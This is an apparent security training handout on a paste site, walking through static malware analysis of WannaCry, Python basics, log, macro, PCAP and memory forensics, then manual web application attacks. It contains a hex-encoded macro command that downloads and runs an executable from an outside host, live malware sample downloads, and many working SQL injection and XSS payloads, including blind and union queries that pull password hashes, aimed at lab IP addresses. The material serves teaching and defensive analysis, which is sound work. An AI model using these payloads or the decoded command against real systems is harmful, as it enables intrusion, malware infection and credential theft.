Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ############################
- # Intro to Static Analysis #
- ############################
- - After logging please open a terminal window and type the following commands:
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/wannacry.zip
- unzip wannacry.zip
- infected
- file wannacry.exe
- mv wannacry.exe malware.pdf
- file malware.pdf
- mv malware.pdf wannacry.exe
- hexdump -n 2 -C wannacry.exe
- -----------------------------------------------------------------------
- ***What is '4d 5a' or 'MZ'***
- Open a web browswer and take a look at the link below.
- http://www.garykessler.net/library/file_sigs.html
- While on this page use CTRL-F to search for the following:
- MX
- PDF
- XLS
- Look at the hex representation for each file type.
- This website has the data that is in the header of each file type. This is really important for file analysis.
- ---------------------------Type This-----------------------------------
- objdump -x wannacry.exe
- strings wannacry.exe
- strings --all wannacry.exe | head -n 6
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- -----------------------------------------------------------------------
- Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
- Quick Google search for "wannacry ransomeware analysis"
- Reference
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- - Yara Rule -
- Strings:
- $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
- $s2 = “Wanna Decryptor” wide ascii nocase
- $s3 = “.wcry” wide ascii nocase
- $s4 = “WANNACRY” wide ascii nocase
- $s5 = “WANACRY!” wide ascii nocase
- $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
- Ok, let's look for the individual strings
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i ooops
- strings wannacry.exe | grep -i wanna
- strings wannacry.exe | grep -i wcry
- strings wannacry.exe | grep -i wannacry
- strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
- -----------------------------------------------------------------------
- ####################################
- # Tired of GREP - let's try Python #
- ####################################
- Decided to make my own script for this kind of stuff in the future. I
- Reference1:
- http://45.63.104.73/analyse_malware.py
- This is a really good script for the basics of static analysis
- Reference:
- https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
- This is really good for showing some good signatures to add to the Python script
- Here is my own script using the signatures (started this yesterday, but still needs work):
- https://pastebin.com/guxzCBmP
- ---------------------------Type This-----------------------------------
- sudo apt install -y python-pefile
- strategicsec
- wget http://45.63.104.73/analyse_malware.py
- wget https://pastebin.com/raw/guxzCBmP
- mv guxzCBmP am.py
- chmod +x analyse_malware.py
- chmod +x am.py
- python analyse_malware.py
- python am.py wannacry.exe
- nano analyse_malware.py
- nano am.py
- -----------------------------------------------------------------------
- ###########################################
- # Python Basics Lesson 1: Simple Printing #
- ###########################################
- ---------------------------Type This-----------------------------------
- python
- >>> print 1
- >>> print hello
- >>> print "hello"
- >>> print "Today we are learning Python."
- ###################################################
- # Python Basics Lesson 2: Simple Numbers and Math #
- ###################################################
- ---------------------------Type This-----------------------------------
- python
- >>> 2+2
- >>> 6-3
- >>> 18/7
- >>> 18.0/7
- >>> 18.0/7.0
- >>> 18/7
- >>> 9%4
- >>> 8%4
- >>> 8.75%.5
- >>> 6.*7
- >>> 6*6*6
- >>> 6**3
- >>> 5**12
- >>> -5**4
- -----------------------------------------------------------------------
- #####################################
- # Python Basics Lesson 3: Variables #
- #####################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> x=18
- >>> x+15
- >>> x**3
- >>> y=54
- >>> x+y
- >>> age=input("Enter number here: ")
- 43
- >>> age+32
- >>> age**3
- >>> fname = raw_input("Enter your first name: ")
- >>> lname = raw_input("Enter your first name: ")
- >>> fname = raw_input("Enter your name: ")
- Enter your name: Joe
- >>> lname = raw_input("Enter your name: ")
- Enter your name: McCray
- >>> print fname
- Joe
- >>> print lname
- McCray
- >>> print fname lname
- >>> print fname+lname
- JoeMcCray
- >>> exit()
- -----------------------------------------------------------------------
- NOTE:
- Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
- #################################################
- # Python Basics Lesson 4: Modules and Functions #
- #################################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> 5**4
- >>> pow(5,4)
- >>> abs(-18)
- >>> abs(5)
- >>> floor(18.7)
- >>> import math
- >>> math.floor(18.7)
- >>> math.sqrt(81)
- >>> joe = math.sqrt
- >>> joe(9)
- >>> joe=math.floor
- >>> joe(19.8)
- >>> exit()
- -----------------------------------------------------------------------
- ###################################
- # Python Basics Lesson 5: Strings #
- ###################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> "XSS"
- >>> 'SQLi'
- >>> "Joe's a python lover"
- >>> 'Joe\'s a python lover'
- >>> "Joe said \"InfoSec is fun\" to me"
- >>> a = "Joe"
- >>> b = "McCray"
- >>> a, b
- >>> a+b
- >>> exit()
- -----------------------------------------------------------------------
- ########################################
- # Python Basics Lesson 6: More Strings #
- ########################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> num = 10
- >>> num + 2
- >>> "The number of open ports found on this system is " + num
- >>> num = str(18)
- >>> "There are " + num + " vulnerabilities found in this environment."
- >>> num2 = 46
- >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
- >>> exit()
- -----------------------------------------------------------------------
- NOTE:
- Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
- ###############################################
- # Python Basics Lesson 7: Sequences and Lists #
- ###############################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks
- ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks[3]
- 'SQL Injection'
- >>> attacks[-2]
- 'Cross-Site Scripting'
- >>> exit()
- -----------------------------------------------------------------------
- ########################################
- # Python Basics Level 8: If Statement #
- ########################################
- ---------------------------Type This-----------------------------------
- $ python
- >>> attack="SQLI"
- >>> if attack=="SQLI":
- print 'The attacker is using SQLI'
- >>> attack="XSS"
- >>> if attack=="SQLI":
- print 'The attacker is using SQLI'
- >>> exit()
- -----------------------------------------------------------------------
- #####################################
- # Lesson 9: Intro to Log Analysis #
- #####################################
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/access_log
- cat access_log | grep 141.101.80.188
- cat access_log | grep 141.101.80.187
- cat access_log | grep 108.162.216.204
- cat access_log | grep 173.245.53.160
- ---------------------------------------------------------
- Google the following terms:
- - Python read file
- - Python read line
- - Python read from file
- ########################################################
- # Lesson 10: Use Python to read in a file line by line #
- ########################################################
- Please read the tutorial link below:
- http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
- Let's have some fun.....
- ---------------------------Type This-----------------------------------
- $ python
- >>> f = open('access_log', "r")
- >>> lines = f.readlines()
- >>> print lines
- >>> lines[0]
- >>> lines[10]
- >>> lines[50]
- >>> lines[1000]
- >>> lines[5000]
- >>> lines[10000]
- >>> print len(lines)
- >>> exit()
- -----------------------------------------------------------------------
- ---------------------------------------------------------
- nano logread1.py
- ## Open the file with read only permit
- f = open('access_log', "r")
- ## use readlines to read all lines in the file
- ## The variable "lines" is a list containing all lines
- lines = f.readlines()
- print lines
- ## close the file after reading the lines.
- f.close()
- ---------------------------------------------------------
- Google the following:
- - python difference between readlines and readline
- - python readlines and readline
- #################################
- # Lesson 11: A quick challenge #
- #################################
- Can you write an if/then statement that looks for this IP and print "Found it"?
- 141.101.81.187
- ---------------------------------------------------------
- Hint 1: Use Python to look for a value in a list
- Reference:
- http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
- ---------------------------------------------------------
- Hint 2: Use Python to prompt for user input
- Reference:
- http://www.cyberciti.biz/faq/python-raw_input-examples/
- ---------------------------------------------------------
- Hint 3: Use Python to search for a string in a list
- Reference:
- http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
- Here is my solution:
- -------------------
- $ python
- >>> f = open('access_log', "r")
- >>> lines = f.readlines()
- >>> ip = '141.101.81.187'
- >>> for string in lines:
- ... if ip in string:
- ... print(string)
- >>> exit()
- -----------------------------------------------------------------------
- Here is one student's solution - can you please explain each line of this code to me?
- -------------------------------------------------------------------------------------
- #!/usr/bin/python
- f = open('access_log')
- strUsrinput = raw_input("Enter IP Address: ")
- for line in iter(f):
- ip = line.split(" - ")[0]
- if ip == strUsrinput:
- print line
- f.close()
- -------------------------------
- Working with another student after class we came up with another solution:
- #!/usr/bin/env python
- # This line opens the log file
- f=open('access_log',"r")
- # This line takes each line in the log file and stores it as an element in the list
- lines = f.readlines()
- # This lines stores the IP that the user types as a var called userinput
- userinput = raw_input("Enter the IP you want to search for: ")
- # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
- for ip in lines:
- if ip.find(userinput) != -1:
- print ip
- ##################################################
- # Lesson 12: Look for web attacks in a log file #
- ##################################################
- In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
- Supported attacks:
- 1. SQL Injection
- 2. Local File Inclusion
- 3. Remote File Inclusion
- 4. Cross-Site Scripting
- wget http://45.63.104.73/scan_log.py
- Your challenge is to use the script you wrote yesterday as a reference to rewrite scan_log.py.
- I would also like for you to use the FuzzDB (https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) for attack strings.
- #####################################################
- # Analyzing Macro Embedded Malware #
- # Reference: #
- # https://jon.glass/analyzes-dridex-malware-p1/ #
- #####################################################
- ---------------------------Type This-----------------------------------
- cd ~/Desktop/
- sudo pip install olefile
- mkdir ~/Desktop/oledump
- cd ~/Desktop/oledump
- wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
- unzip oledump_V0_0_22.zip
- wget http://45.63.104.73/064016.zip
- unzip 064016.zip
- infected
- python oledump.py 064016.doc
- python oledump.py 064016.doc -s A4 -v
- -----------------------------------------------------------------------
- - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
- ---------------------------Type This-----------------------------------
- python oledump.py 064016.doc -s A5 -v
- -----------------------------------------------------------------------
- - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
- ---------------------------Type This-----------------------------------
- python oledump.py 064016.doc -s A3 -v
- - Look for "GVhkjbjv" and you should see:
- 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
- - Take that long blob that starts with 636D and finishes with 653B and paste it in:
- http://www.rapidtables.com/convert/number/hex-to-ascii.htm
- Creating a malware database (mysql)
- -----------------------------------
- - Step 1: Installing MySQL database
- - Run the following command in the terminal:
- ---------------------------Type This-----------------------------------
- sudo apt-get install mysql-server
- - Step 2: Installing Python MySQLdb module
- - Run the following command in the terminal:
- ---------------------------Type This-----------------------------------
- sudo apt-get build-dep python-mysqldb
- sudo apt-get install python-mysqldb
- -----------------------------------------------------------------------
- Step 3: Logging in
- Run the following command in the terminal:
- ---------------------------Type This-----------------------------------
- mysql -u root -p (set a password of 'malware')
- - Then create one database by running following command:
- ---------------------------Type This-----------------------------------
- create database malware;
- exit;
- wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
- nano mal_to_db.py (fill in database connection information)
- python mal_to_db.py -i
- -----------------------------------------------------------------------
- ------- check it to see if the files table was created ------
- mysql -u root -p
- malware
- show databases;
- use malware;
- show tables;
- describe files;
- exit;
- ---------------------------------
- - Now add the malicious file to the DB
- ---------------------------Type This-----------------------------------
- python mal_to_db.py -f ~/wannacry.exe -u
- -----------------------------------------------------------------------
- - Now check to see if it is in the DB
- ---------------------------Type This-----------------------------------
- mysql -u root -p
- malware
- mysql> use malware;
- select id,md5,sha1,sha256,time FROM files;
- mysql> quit;
- ------------------------------------------------------------------------
- #################
- # PCAP Analysis #
- #################
- ---------------------------Type This-----------------------------------
- cd ~/Desktop/
- mkdir suspiciouspcap/
- cd suspiciouspcap/
- wget http://45.63.104.73/suspicious-time.pcap
- wget http://45.63.104.73/chaosreader.pl
- perl chaosreader.pl suspicious-time.pcap
- firefox index.html
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
- for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
- ------------------------------------------------------------------------
- ###################
- # Memory Analysis #
- ###################
- ---------------------------Type This-----------------------------------
- cd ~/Desktop/
- sudo apt-get install -y foremost tcpxtract
- wget http://45.63.104.73/hn_forensics.vmem
- git clone https://github.com/volatilityfoundation/volatility.git
- cd volatility
- sudo pip install distorm3
- sudo python setup.py install
- python vol.py -h
- python vol.py pslist -f ~/Desktop/hn_forensics.vmem
- python vol.py connscan -f ~/Desktop/hn_forensics.vmem
- mkdir dump/
- mkdir -p output/pdf/
- python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
- python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
- ***Takes a few min***
- strings 1752.dmp | grep "^http://" | sort | uniq
- strings 1752.dmp | grep "Ahttps://" | uniq -u
- cd ..
- foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
- cd ~/Desktop/volatility/output/pdf/
- cat audit.txt
- cd pdf
- ls
- grep -i javascript *.pdf
- cd ~/Desktop/volatility/output/pdf/
- wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
- unzip pdf-parser_V0_6_4.zip
- python pdf-parser.py -s javascript --raw pdf/00601560.pdf
- python pdf-parser.py --object 11 00600328.pdf
- python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
- cat malicious.js
- -----------------------------------------------------------------------
- *****Sorry - no time to cover javascript de-obfuscation today*****
- ---------------------------Type This-----------------------------------
- cd ~/Desktop/volatility
- mkdir files2/
- python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
- python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
- python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
- -----------------------------------------------------------------------
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.77.162.239
- Start here:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/
- -----------------------------------------------------------------------
- Let's try throwing a single quote (') in there:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2'
- -------------------------------------------------------------------------------------
- I get the following error:
- Unclosed quotation mark after the character string ''.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
- #########################################################################################
- # SQL Injection #
- # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the parameter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- ---------------------------------------------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
- http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- ---------------------------------------------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- ---------------------------------------------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- ---------------------------------------------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=(2)
- http://45.77.162.239/bookdetail.aspx?id=(4-2)
- http://45.77.162.239/bookdetail.aspx?id=(4-1)
- ---------------------------------------------------------------------------------------------------------
- - This is some true/false logic testing
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
- http://45.77.162.239/bookdetail.aspx?id=1*1
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
- http://45.77.162.239/bookdetail.aspx?id=2 &0#
- -------------------------------------------------------------------------------------
- -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- ---------------------------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- ---------------------------------------------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -------------------------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- ---------------------------------------------------------------------------------------------------------
- B - 2nd Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ---------------------------------------------------------------------------------------------------------
- O - 3rd Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ---------------------------------------------------------------------------------------------------------
- ##########
- # Sqlmap #
- ##########
- If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
- ---------------------------Type This-----------------------------------
- cd ~/toolz/sqlmap-dev/
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
- ------------------------------------------------------------------------
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/
- -------------------------------------------------------------------------------------
- Clicking on the Acer Link:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer
- -------------------------------------------------------------------------------------
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer'
- -------------------------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
- -------------------------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -------------------------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -------------------------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- ------------------------------------------------------------------------------------- -------------------
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- ###############################################################################
- # What is XSS #
- # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
- ###############################################################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/
- -------------------------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>alert('So this is XSS')</script>
